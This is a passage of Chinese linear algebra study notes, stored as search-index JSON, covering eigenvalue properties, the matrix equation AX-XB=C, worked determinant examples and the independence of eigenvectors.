\u5c5e\u4e8e \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\u77db\u76fe\uff0c\u56e0\u6b64 \\(BX\\neq 0\\)\u3002</p> <ol> <li>\u6839\u636e\u5206\u5757\u77e9\u9635\u521d\u7b49\u53d8\u6362\u7684\u6027\u8d28\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0d\u65ad\u5c1d\u8bd5\u9009\u53d6\u5230 \\(P=\\begin{pmatrix}      E_m &amp; A \\\\ O &amp; E_n    \\end{pmatrix}\\)\uff0c\u5176\u9006\u77e9\u9635\u4e3a \\(P^{-1}=\\begin{pmatrix}      E_m &amp; -A \\\\ O &amp; E_n  \\end{pmatrix}\\)\uff0c\u6211\u4eec\u53d1\u73b0\u6070\u6709</li> </ol> \\[     \\begin{pmatrix}         E_m &amp; -A \\\\ O &amp; E_n     \\end{pmatrix} \\begin{pmatrix}         AB &amp; O \\\\ B &amp; O     \\end{pmatrix} \\begin{pmatrix}         E_m &amp; A \\\\ O &amp; E_n     \\end{pmatrix} = \\begin{pmatrix}         O &amp; O \\\\ B &amp; BA     \\end{pmatrix}. \\] <p>\u56e0\u6b64 \\(\\begin{pmatrix}      AB &amp; O \\\\ B &amp; O  \\end{pmatrix}\\) \u4e0e \\(\\begin{pmatrix}      O &amp; O \\\\ B &amp; BA  \\end{pmatrix}\\) \u76f8\u4f3c\uff0c\u56e0\u6b64\u5b83\u4eec\u7684\u7279\u5f81\u591a\u9879\u5f0f\u76f8\u540c\uff0c\u5373</p> \\[  \\begin{vmatrix}      \\lambda E_m-AB &amp; O \\\\ -B &amp; \\lambda E_n  \\end{vmatrix} = \\begin{vmatrix}      \\lambda E_m &amp; O \\\\ -B &amp; \\lambda E_n-BA  \\end{vmatrix}. \\] <p>\u6839\u636e\u884c\u5217\u5f0f\u7684\u8ba1\u7b97\u6027\u8d28 \\(\\begin{vmatrix}      A &amp; O \\\\ C &amp; B  \\end{vmatrix} = |A||B|\\)\uff0c\u6211\u4eec\u6709</p> \\[  |\\lambda E_m-AB||\\lambda E_n| = |\\lambda E_m||\\lambda E_n-BA|, \\] <p>\u5373 \\(\\lambda^n|\\lambda E_m-AB| = \\lambda^m|\\lambda E_n-BA|\\)\uff0c\u56e0\u6b64 \\(AB\\) \u548c \\(BA\\) \u975e\u96f6\u7279\u5f81\u503c\u76f8\u540c\uff0c\u4e14 \\(m=n\\) \u65f6\u6709 \\(|\\lambda E-AB|=|\\lambda E-BA|\\).</p> <p>\u5bf9\u4e8e\u53ef\u9006\u77e9\u9635\\(P\\),\u6211\u4eec\u77e5\u9053\u4e86\\(A\\)\u4e0e\\(B=P^{-1}AP\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff0c\u5982\u679c\\(P\\)\u4e0d\u53ef\u9006\uff0c\u4e24\u4e2a\u77e9\u9635\u53c8\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f</p> <p>\u6211\u4eec\u6709\u4ee5\u4e0b\u7ed3\u8bba</p> <p>Property</p> <p>\u8bbe\\(A,B\\)\u5206\u522b\u4e3a\u6570\u57df\\(\\mathbf{F}\\)\u4e0a\\(n\\)\u9636\u3001\\(m\\)\u9636\u65b9\u9635\uff0c\\(A,B\\)\u6709\\(r\\)\u4e2a\u4e24\u4e24\u4e0d\u7b49\u7684\u516c\u5171\u7279\u5f81\u503c\uff0c\u5219\u77e9\u9635\u65b9\u7a0b\\(AX-XB=O\\)\u6709\u79e9\u4e3a\\(r\\)\u7684\u77e9\u9635\u89e3. \u53cd\u4e4b\uff0c\u82e5\u6570\u57df\u4e3a\u590d\u6570\u57df\uff0c\u77e9\u9635\u65b9\u7a0b\\(AX-XB=O\\)\u6709\u79e9\u4e3a\\(r\\)\u7684\u77e9\u9635\u89e3\uff0c\u5219\\(A,B\\)\u81f3\u5c11\u6709\\(r\\)\u4e2a\u516c\u5171\u7684\u7279\u5f81\u503c\uff08\u8ba1\u91cd\u6570\uff09.</p> <p>\u8bc1\u660e\u89c1 \u300aLALU\u300b.P465</p> <p>Example</p> <p>\u8bbe\\(m\\)\u9636\u77e9\u9635\\(A\\)\u4e0e\\(n\\)\u9636\u77e9\u9635\\(B\\)\u65e0\u516c\u5171\u590d\u7279\u5f81\u503c\uff0c\\(C\\)\u4e3a\\(m\\times n\\)\u77e9\u9635\uff0c\u5219\u77e9\u9635\u65b9\u7a0b\\(AX-XB=C\\)\u5b58\u5728\u552f\u4e00\u89e3.</p> Answer <p>\u8bbe\\(V\\)\u662f\u6240\u6709\\(m\\times n\\)\u77e9\u9635\u6784\u6210\u7684\u7ebf\u6027\u7a7a\u95f4\uff0c\u5b9a\u4e49\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\\(\\sigma(X)=AX-XB,\\enspace X\\in V\\). \u7531\u4e8e\\(A\\)\u548c\\(B\\)\u65e0\u516c\u5171\u590d\u7279\u5f81\u503c\uff0c\u6240\u4ee5\\(\\sigma(X)=AX-XB=O\\)\u53ea\u6709\u96f6\u89e3\uff0c\u5373\\(\\sigma\\)\u4e3a\\(V\\)\u4e0a\u5355\u5c04\uff0c\u53ef\u77e5\\(\\sigma\\)\u662f\u6ee1\u5c04\u4e14\u662f\u540c\u6784\u6620\u5c04. \u4e8e\u662f\uff0c\u5bf9\u4efb\u610f\u7684\\(C\\in V\\)\uff0c\u90fd\u5b58\u5728\u552f\u4e00\u7684\\(X_0\\in V\\)\u4f7f\u5f97\\(\\sigma(X_0)=C\\)\uff0c\u5373\u77e9\u9635\u65b9\u7a0b\\(AX-XB=C\\)\u5b58\u5728\u552f\u4e00\u89e3\\(X_0\\).</p>"},{"location":"NOTE/LA/eigenvalue/#_6","title":"\u7279\u5f81\u503c\u7684\u6027\u8d28\u4e0e\u7ed3\u8bba","text":"<ul> <li> <p>\u8bbe\\(\\lambda\\)\u662f\u7ebf\u6027\u7a7a\u95f4\\(V(\\mathbf{F})\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\\(\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u662f\\(\\sigma\\)\u5c5e\u4e8e\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219</p> <ul> <li> <p>\\(k\\lambda\\)\u662f\\(k\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\lambda^m\\)\u662f\\(\\sigma^m\\)\u7684\u7279\u5f81\u503c\uff0c\u4e14\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\uff1b</p> </li> <li> <p>\u82e5\\(f(x)=a_nx^n+a_{n-1}x^{n-1}+\\cdots+a_1x+a_0\\)\u662f\\(\\mathbf{F}\\)\u4e0a\u7684\u591a\u9879\u5f0f\uff0c\u5219\\(f(\\sigma)(\\xi)=f(\\lambda)\\xi\\)\uff1b</p> </li> </ul> </li> <li> <p>\u8bbe\\(\\lambda\\)\u662f\\(n\\)\u9636\u77e9\u9635\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\\(A\\)\u53ef\u9006\uff0c\u5219\\(\\lambda^{-1}\\)\u662f\\(A^{-1}\\)\u7684\u7279\u5f81\u503c\uff0c\\(|A|\\lambda^{-1}\\)\u662f\\(A\\)\u7684\u4f34\u968f\u77e9\u9635\\(A^*\\)\u7684\u7279\u5f81\u503c\uff0c\u4e14\u7279\u5f81\u5411\u91cf\u4e0d\u53d8.</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\\(n\\)\u9636\u77e9\u9635\uff0c\u5219\\(A\\)\u4e0e\\(A^\\mathrm{T}\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff08\u542b\u91cd\u6570\uff09.</p> </li> <li> <p>\\(A\\)\u53ef\u9006/\\(A\\)\u4e0d\u53ef\u9006/\\(E+A\\)\u53ef\u9006/\\(4E+A\\)\u4e0d\u53ef\u9006\uff1b</p> </li> <li> <p>\\(|E-A^2|=0\\)\uff1b</p> </li> <li> <p>\\(A^2=E\\)\uff08\u5bf9\u5408\uff09/\\(A^2=A\\)\uff08\u5e42\u7b49\uff09/\\(A^k=0\\)\uff08\u5e42\u96f6\uff09\uff1b</p> </li> <li> <p>\\(A=\\lambda_0E+B\\)\uff08\\(\\lambda_0\\)\u4e3a\u5e38\u6570\uff0c\u4e14\u5df2\u77e5\\(B\\)\u7684\\(n\\)\u4e2a\u7279\u5f81\u503c\u4e3a\\(\\lambda_1,\\lambda_2,\\ldots,\\lambda_n\\)\uff09\uff1b</p> </li> <li> <p>\\(A\\)\u4e3a\u5bf9\u89d2\u5757\u77e9\u9635\uff0c\u5373\\(A=\\mathbf{diag}(A_1,A_2,\\ldots,A_m)\\).</p> </li> </ul> Proof <p>1  \u7531\u4e8e\\(\\sigma(\\xi) = \\lambda\\xi\\)\uff0c\u5219\\((k\\sigma)(\\xi) = k\\lambda\\xi\\)\uff0c\u5373\\(k\\lambda\\)\u662f\\(k\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>\u800c\\(\\sigma^m(\\xi) = \\sigma^{m-1}(\\sigma(\\xi)) = \\sigma^{m-1}(\\lambda\\xi) = \\lambda\\sigma^{m-1}(\\xi) = \\cdots = \\lambda^m\\xi\\)\uff0c\u5373\\(\\lambda^m\\)\u662f\\(\\sigma^m\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>2  \u5229\u7528\u524d\u8ff0\\(\\sigma^m\\)\u7684\u76f8\u5173\u6027\u8d28\uff0c\u6211\u4eec\u6709    $$ f(\\sigma)(\\xi) = (a_n\\sigma^n + a_{n-1}\\sigma^{n-1} + \\cdots + a_1\\sigma + a_0I)(\\xi) $$    $$ = a_n\\sigma^n(\\xi) + a_{n-1}\\sigma^{n-1}(\\xi) + \\cdots + a_1\\sigma(\\xi) + a_0I(\\xi) $$    $$ = a_n\\lambda^n\\xi + a_{n-1}\\lambda^{n-1}\\xi + \\cdots + a_1\\lambda\\xi + a_0\\xi $$    $$ = f(\\lambda)\\xi. $$</p> <p>3  \u8bbe\\(\\xi\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u5373\\(A\\xi = \\lambda\\xi\\)\uff0c\u5219\\(\\xi = A^{-1}A\\xi = A^{-1}\\lambda\\xi\\)\uff0c\u5373\\(A^{-1}\\xi = \\lambda^{-1}\\xi\\)\uff0c\u56e0\u6b64\\(\\lambda^{-1}\\)\u662f\\(A^{-1}\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>\u53c8\u7531\u4e8e\\(A\\)\u53ef\u9006\u65f6\\(A^* = |A|A^{-1}\\)\uff0c\u6839\u636e\u524d\u9762\u5173\u4e8e\\(k\\sigma\\)\u548c\\(A^{-1}\\)\u7279\u5f81\u503c\u7684\u8ba8\u8bba\u53ef\u77e5\uff0c\\(|A|\\lambda^{-1}\\)\u662f\\(A\\)\u7684\u4f34\u968f\u77e9\u9635\\(A^*\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>4  \u6211\u4eec\u7528\u7279\u5f81\u591a\u9879\u5f0f\u8bc1\u660e\u3002\u5b9e\u9645\u60c5\u51b5\u662f\uff0c\\(A^\\mathrm{T}\\)\u7684\u7279\u5f81\u591a\u9879\u5f0f\u4e3a\\(|\\lambda E - A^\\mathrm{T}| = |(\\lambda E - A)^\\mathrm{T}| = |\\lambda E - A|\\)\uff08\u56de\u5fc6\u8f6c\u7f6e\u4e0d\u6539\u53d8\u884c\u5217\u5f0f\uff09\uff0c\u5b9e\u9645\u4e0a\u4e0e\\(A\\)\u7684\u7279\u5f81\u591a\u9879\u5f0f\u5b8c\u5168\u4e00\u81f4\uff0c\u56e0\u6b64\\(A^\\mathrm{T}\\)\u4e0e\\(A\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff08\u542b\u91cd\u6570\uff09\u3002</p> <p>5  \\(A\\)\u53ef\u9006\u65f6\u6709 \\(|A| = \\lambda_1 \\cdots \\lambda_n \\neq 0\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u7279\u5f81\u503c\u90fd\u4e0d\u4e3a0\u3002 \u540c\u7406\uff0c\\(A\\)\u4e0d\u53ef\u9006\u540c\u7406\u8868\u660e\u5b58\u5728\u7279\u5f81\u503c\u7b49\u4e8e0\uff0c\\(E+A\\)\u53ef\u9006\u8868\u660e\\(-1\\)\u4e0d\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\\(4E+A\\)\u4e0d\u53ef\u9006\u8868\u660e\\(-4\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>6  \\(|E - A^2| = |E - A||E + A| = 0\\)\uff0c\u56e0\u6b64\\(\\pm 1\\)\u90fd\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>7  \u6211\u4eec\u9996\u5148\u8003\u8651\u5bf9\u5408\u77e9\u9635\uff0c\u63a5\u4e0b\u6765\u7684\u540c\u7406\u53ef\u4ee5\u5f97\u5230\u7c7b\u4f3c\u7ed3\u8bba\u3002\u7531\u4e8e\\(A^2 = E\\)\uff0c\u8bbe\\(AX = \\lambda X\\)\uff0c\u5219\\(A^2 X = \\lambda^2 X = X\\)\uff0c\u56e0\u6b64\\(\\lambda^2 = 1\\)\uff0c\u5373\\(\\lambda = \\pm 1\\)\uff0c\u56e0\u6b64\\(1\\)\u6216\\(-1\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>\u6ce8\uff1a\u672c\u9898\u89e3\u51b3\u8fc7\u7a0b\u4e2d\u544a\u8bc9\u6211\u4eec\u4e00\u4e2a\u89e3\u9898\u6280\u5de7\uff0c\u5982\u679c\u770b\u5230\\(A\\)\u7684\u591a\u9879\u5f0f\\(f(A) = O\\)\u8fd9\u79cd\u5f62\u5f0f\u7684\u8868\u8fbe\u5f0f\uff0c\u4e8b\u5b9e\u4e0a\\(A\\)\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f\\(f(\\lambda) = 0\\)\u7684\u6839\uff0c\u5982\u4e0a\u9898\u4e2d\\(f(A) = A^2 - E\\)\uff0c\u5219\\(f(\\lambda) = \\lambda^2 - 1\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f\\(\\pm 1\\)\u3002</p> <p>\u540c\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u5e42\u7b49\u77e9\u9635\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f0\u548c1\uff0c\u5e42\u96f6\u77e9\u9635\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f0\uff08\u8fd9\u662f\u4e00\u4e2a\u91cd\u8981\u7684\u5e42\u96f6\u77e9\u9635\u7b49\u4ef7\u6761\u4ef6\uff0c\u672a\u6765\u6211\u4eec\u4f1a\u518d\u6b21\u9047\u5230\uff09\u3002</p> <p>8  \u8bbe \\(BX = \\lambda_i X_i\\ (X_i \\neq 0,\\enspace i = 1,\\ldots,n)\\)\uff0c\u5219    $$ AX_i = \\lambda_0 X_i + BX_i = \\lambda_0 X_i + \\lambda_i X_i = (\\lambda_0 + \\lambda_i) X_i $$    \u56e0\u6b64\\(\\lambda_0 + \\lambda_i \\ (i = 1,\\ldots,n)\\)\u90fd\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>9  \u8bc1\u660e\uff1a</p> \\[ |\\lambda E - A| = \\begin{vmatrix}        \\lambda E_1 - A_1 &amp; 0 &amp; \\cdots &amp; 0 \\\\        0 &amp; \\lambda E_2 - A_2 &amp; \\cdots &amp; 0 \\\\        \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\        0 &amp; 0 &amp; \\cdots &amp; \\lambda E_m - A_m    \\end{vmatrix} = \\prod_{i=1}^{m} |\\lambda E_i - A_i| = 0  \\] <p>\u56e0\u6b64\uff0c\\(A_i,\\enspace i = 1,\\ldots,m\\)\u7684\u7279\u5f81\u503c\u90fd\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>Example</p> <ul> <li> <p>\u8bbe\\(\\alpha=(1,0,-1)^\\mathrm{T}\\)\uff0c\u4e14\\(A=\\alpha\\alpha^\\mathrm{T}\\)\uff0c\u6c42\\(|6E-A^n|\\)\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e09\u9636\u77e9\u9635\uff0c\u5176\u7279\u5f81\u503c\u4e3a\\(1,-2,-1\\)\uff0c\u6c42\\(|A|\\)\uff0c\\(A^*+3E\\)\u7684\u7279\u5f81\u503c\uff0c\\((A^{-1})^2+2E\\)\u7684\u7279\u5f81\u503c\u4ee5\u53ca\\(|A^2-A+E|\\)\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e09\u9636\u77e9\u9635\uff0c\\(A^2-A-2E=O\\)\uff0c\\(|A|=2\\)\uff0c\u6c42\\(|A^*+3E|\\)\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e09\u9636\u77e9\u9635\uff0c\u5176\u7279\u5f81\u503c\u4e3a\\(-1,-1,5\\)\uff0c\u6c42\\(A_{11}+A_{22}+A_{33}\\)\uff1b</p> </li> </ul> Answer <ul> <li> <p>\u4e8b\u5b9e\u4e0a\\(A=\\alpha\\alpha^\\mathrm{T}=\\begin{pmatrix}               1 &amp; 0 &amp; -1 \\\\ 0 &amp; 0 &amp; 0 \\\\ -1 &amp; 0 &amp; 1           \\end{pmatrix}\\)\uff0c\u7531\\(|\\lambda E-A|=0\\)\u89e3\u5f97\\(A\\)\u7684\u7279\u5f81\u503c\u4e3a\\(\\lambda_1=\\lambda_2=0,\\lambda_3=2\\)\uff0c\u800c\u6839\u636e\\(A^n\\)\u7684\u7279\u5f81\u503c\u6027\u8d28\u53ef\u77e5\uff0c\\(6E-A^n\\)\u7684\u7279\u5f81\u503c\u4e3a\\(6-\\lambda_1^n,6-\\lambda_2^n,6-\\lambda_3^n\\)\uff0c\u5373\\(6,6,6-2^n\\)\uff0c\u56e0\u6b64\\(|6E-A^n|=6^2(6-2^n)=36(6-2^n)\\).</p> </li> <li> <p>\u7531\u4e8e\\(A\\)\u7684\u7279\u5f81\u503c\u4e3a\\(1,-2,-1\\)\uff0c\u56e0\u6b64\\(|A|=1\\times(-2)\\times(-1)=2\\)\uff0c\u800c\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(|A|\\lambda^{-1}\\)\uff0c\u56e0\u6b64\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(2,-1,-2\\)\uff0c\u6545\\(A^*+3E\\)\u7684\u7279\u5f81\u503c\u4e3a\\(A^*\\)\u7684\u7279\u5f81\u503c\u52a03\uff08\u5373\u4e3a\\(5,2,1\\)\uff0c\u53c8\u6839\u636e\\(A^{-1}\\)\u548c\\(A^2\\)\u7279\u5f81\u503c\u7684\u6027\u8d28\u53ef\u77e5\uff0c\\((A^{-1})^2+2E\\)\u7684\u7279\u5f81\u503c\u4e3a\\(1^2+2,(-1/2)^2+2,(-1)^2+2\\)\uff0c\u5373\u4e3a\\(3,9/4,3\\)\uff0c\u800c\\(A^2-A+E\\)\u7684\u7279\u5f81\u503c\u6839\u636e\\(f(\\sigma)\\)\u7279\u5f81\u503c\u6027\u8d28\u7684\u8ba8\u8bba\u53ef\u77e5\u4e3a\\(1^2-1+1,(-2)^2-(-2)+1,(-1)^2-(-1)+1\\)\uff0c\u5373\u4e3a\\(1,7,3\\)\uff0c\u56e0\u6b64\\(|A^2-A+E|=1\\times 7\\times 3=21\\).</p> </li> <li> <p>\u8bbe\\(AX=\\lambda X(X\\neq 0)\\)\uff0c\u5219\\((A^2-A-2E)X=(\\lambda^2-\\lambda-2)X=O\\)\uff0c\u56e0\u6b64\\(\\lambda=-1\\)\u6216\\(\\lambda=2\\)\uff0c\u6839\u636e\u5bf9\u5408\u77e9\u9635\u7684\u8ba8\u8bba\u53ef\u77e5\uff0c\\(A\\)\u7684\u7279\u5f81\u503c\u6070\u4e3a-1\u548c2. \u53c8\\(|A|=2\\)\uff0c\u4e14\\(A\\)\u4e3a3\u9636\u77e9\u9635\uff0c\u56e0\u6b64\\(A\\)\u76843\u4e2a\u7279\u5f81\u503c\u5fc5\u4e3a-1\uff0c-1\uff0c2.</p> </li> </ul> <p>\u53c8\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(|A|\\lambda^{-1}\\)\uff0c\u56e0\u6b64\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(1,-2,-2\\)\uff0c\\(A^*+3E\\)\u7684\u7279\u5f81\u503c\u4e3a\\(A^*\\)\u7684\u7279\u5f81\u503c\u52a03\uff0c\u5373\\(\\lambda_1=\\lambda_2=1,\\lambda_3=4\\)\uff0c\u6545\\(|A^*+3E|=\\lambda_1\\lambda_2\\lambda_3=4\\).</p> <ul> <li>\u7531\u9898\u610f\u77e5\\(|A|=5\\)\uff0c\u6545\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(|A|\\lambda^{-1}\\)\u5373\u4e3a\\(\\mu_1=\\mu_2=-5,\\mu_3=1\\)\uff0c\u800c\\(A_{11}+A_{22}+A_{33}\\)\u5c31\u662f\\(A^*\\)\u7684\u8ff9\uff08\u5373\u77e9\u9635\u5bf9\u89d2\u7ebf\u5143\u7d20\u4e4b\u548c\uff09\uff0c\u56e0\u6b64\\(A_{11}+A_{22}+A_{33}=\\mu_1+\\mu_2+\\mu_3=-9\\).</li> </ul>"},{"location":"NOTE/LA/eigenvalue/#_7","title":"\u7279\u5f81\u5411\u91cf\u4e0e\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u6027\u8d28","text":"<ul> <li> <p>\\(\\sigma\\)\u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5411\u91cf\u7ebf\u6027\u65e0\u5173\uff1b</p> </li> <li> <p>\\(\\sigma\\)\u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u548c\u4e3a\u76f4\u548c\uff1b</p> </li> <li> <p>\\(\\sigma\\)\u6700\u591a\u6709\\(\\dim V\\)\u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c.</p> </li> </ul> <p>\u6709\u4ee5\u4e0b\u63a8\u8bba</p> Proof <ul> <li>\u8bbe \\(\\lambda_1, \\ldots, \\lambda_m\\) \u662f \\(\\sigma\\) \u7684\u4e92\u5f02\u7279\u5f81\u503c\uff0c\\(\\xi_1, \\ldots, \\xi_m\\) \u662f\u76f8\u5e94\u7684\u7279\u5f81\u5411\u91cf\u3002\u53cd\u8bc1\u6cd5\uff0c\u6211\u4eec\u5047\u8bbe \\(\\xi_1, \\ldots, \\xi_m\\) \u7ebf\u6027\u76f8\u5173\uff0c\u7531\u7ebf\u6027\u76f8\u5173\u6027\u5f15\u7406\u53ef\u77e5\uff0c\u5b58\u5728 \\(k\\) \u662f\u4f7f\u5f97  </li> </ul> \\[ \\xi_k \\in \\mathbf{spa}(\\xi_1, \\ldots, \\xi_{k-1}) \\] <p>\u6210\u7acb\u7684\u6700\u5c0f\u6574\u6570\uff0c\u5219\u5b58\u5728 \\(c_1, \\ldots, c_{k-1}\\) \u4f7f\u5f97  </p> <p>$$ \\xi_k = c_1\\xi_1 + \\cdots + c_{k-1}\\xi_{k-1}. $$  </p> <p>\u5c06 \\(\\sigma\\) \u4f5c\u7528\u5230\u4e0a\u5f0f\u4e24\u8fb9\uff0c\u6211\u4eec\u6709  </p> <p>$$ \\lambda_k \\xi_k = c_1 \\lambda_1 \\xi_1 + \\cdots + c_{k-1} \\lambda_{k-1} \\xi_{k-1}. $$  </p> <p>\u5c06\u4e0a\u5f0f\u4e24\u8fb9\u4e58\u4ee5 \\(\\lambda_k\\)\uff0c\u7136\u540e\u51cf\u53bb\u4e0a\u5f0f\uff0c\u6211\u4eec\u6709  </p> <p>$$ 0 = c_1 (\\lambda_k - \\lambda_1)\\xi_1 + \\cdots + c_{k-1} (\\lambda_k - \\lambda_{k-1})\\xi_{k-1}. $$  </p> <p>\u7531\u4e8e\u6211\u4eec\u9009\u53d6\u7684 \\(k\\) \u662f\u6ee1\u8db3 \\(\\xi_k \\in \\mathbf{spa}(\\xi_1, \\ldots, \\xi_{k-1})\\) \u7684\u6700\u5c0f\u6574\u6570\uff0c\u56e0\u6b64 \\(\\xi_1, \\ldots, \\xi_{k-1}\\) \u7ebf\u6027\u65e0\u5173\uff0c\u6545 \\(c_1 = \\cdots = c_{k-1} = 0\\)\uff0c\u56e0\u6b64 \\(\\xi_k = 0\\)\uff0c\u8fd9\u4e0e \\(\\xi_k\\) \u662f\u7279\u5f81\u5411\u91cf\u77db\u76fe\uff0c\u56e0\u6b64 \\(\\xi_1, \\ldots, \\xi_m\\) \u7ebf\u6027\u65e0\u5173\u3002</p> <ul> <li>\u56de\u5fc6\u76f4\u548c\u7684\u8bc1\u660e\u65b9\u6cd5\uff0c\u6211\u4eec\u9009\u53d6\u5408\u9002\u7b49\u4ef7\u547d\u9898\u8fdb\u884c\u8bc1\u660e\u3002\u5047\u8bbe  </li> </ul> <p>$$ \\xi_1 + \\cdots + \\xi_m = 0, $$  </p> <p>\u5176\u4e2d \\(\\xi_i \\in V_{\\lambda_i}\\)\uff0c\u7531\u4e8e \\(\\sigma\\) \u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5411\u91cf\u7ebf\u6027\u65e0\u5173\uff0c\u56e0\u6b64 \\(\\xi_1, \\ldots, \\xi_m\\) \u4e0d\u53ef\u80fd\u662f\u7279\u5f81\u5411\u91cf\uff0c\u5426\u5219\u53ef\u77e5\u5b83\u4eec\u7ebf\u6027\u76f8\u5173\uff0c\u6545\u5fc5\u6709 \\(\\xi_1 = \\cdots = \\xi_m = 0\\)\uff0c\u8fd9\u8868\u660e \\(\\sigma\\) \u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u548c\u4e3a\u76f4\u548c\u3002</p> <ul> <li>\u8bbe \\(\\lambda_1, \\ldots, \\lambda_m\\) \u662f \\(\\sigma\\) \u7684\u4e92\u5f02\u7279\u5f81\u503c\uff0c\\(\\xi_1, \\ldots, \\xi_m\\) \u662f\u76f8\u5e94\u7684\u7279\u5f81\u5411\u91cf\u3002\u524d\u9762\u5df2\u7ecf\u8bc1\u660e\u4e86 \\(\\xi_1, \\ldots, \\xi_m\\) \u7ebf\u6027\u65e0\u5173\uff0c\u56e0\u6b64 \\(\\dim V \\geqslant m\\)\uff0c\u5f97\u8bc1\u3002</li> </ul> <ul> <li> <p>\u82e5\\(\\lambda_1,\\ldots,\\lambda_m\\)\u662f\u7ebf\u6027\u6620\u5c04\\(\\sigma\\)\u4e92\u5f02\u7684\u7279\u5f81\u503c\uff0c\u5219\\(V_{\\lambda_i}\\cap\\sum\\limits_{j\\neq i}V_{\\lambda_j}=\\{0\\}               \\enspace(i=1,\\ldots,m)\\)\uff0c\u5219\u4e00\u4e2a\u7279\u5f81\u5411\u91cf\u4e0d\u80fd\u5c5e\u4e8e\u591a\u4e2a\u7279\u5f81\u503c. </p> </li> <li> <p>\\(\\sigma\\)\u7684\u4e0d\u540c\u7279\u5f81\u503c\\(\\lambda_1,\\ldots,\\lambda_m\\)\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\\(V_{\\lambda_1},\\ldots,V_{\\lambda_m}\\)\u7684\u57fa\u5411\u91cf\u5408\u5728\u4e00\u8d77\u6784\u6210\u7684\u5411\u91cf\u7ec4\u7ebf\u6027\u65e0\u5173\uff0c\u4e14\u662f\\(V_{\\lambda_1}+V_{\\lambda_2}+\\cdots+V_{\\lambda_m}\\)\u7684\u57fa.</p> </li> </ul> <p>Definition</p> <ul> <li>\u4ee3\u6570\u91cd\u6570:\u67d0\u4e00\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u4ee3\u6570\u91cd\u6570\u6307\u91cd\u6839\u7684\u4e2a\u6570\uff1b</li> <li>\u51e0\u4f55\u91cd\u6570:\u67d0\u4e00\u7279\u5f81\u503c\u7684\u51e0\u4f55\u91cd\u6570\u6307\u7279\u5f81\u5411\u91cf\u751f\u6210\u7ebf\u6027\u7a7a\u95f4\u7684\u7ef4\u6570</li> </ul> <p>\u82e5\\(\\lambda\\)\u662f\\(\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\u5219\\(\\lambda\\)\u7684\u4ee3\u6570\u91cd\u6570\u5927\u4e8e\u7b49\u4e8e\u51e0\u4f55\u91cd\u6570</p> 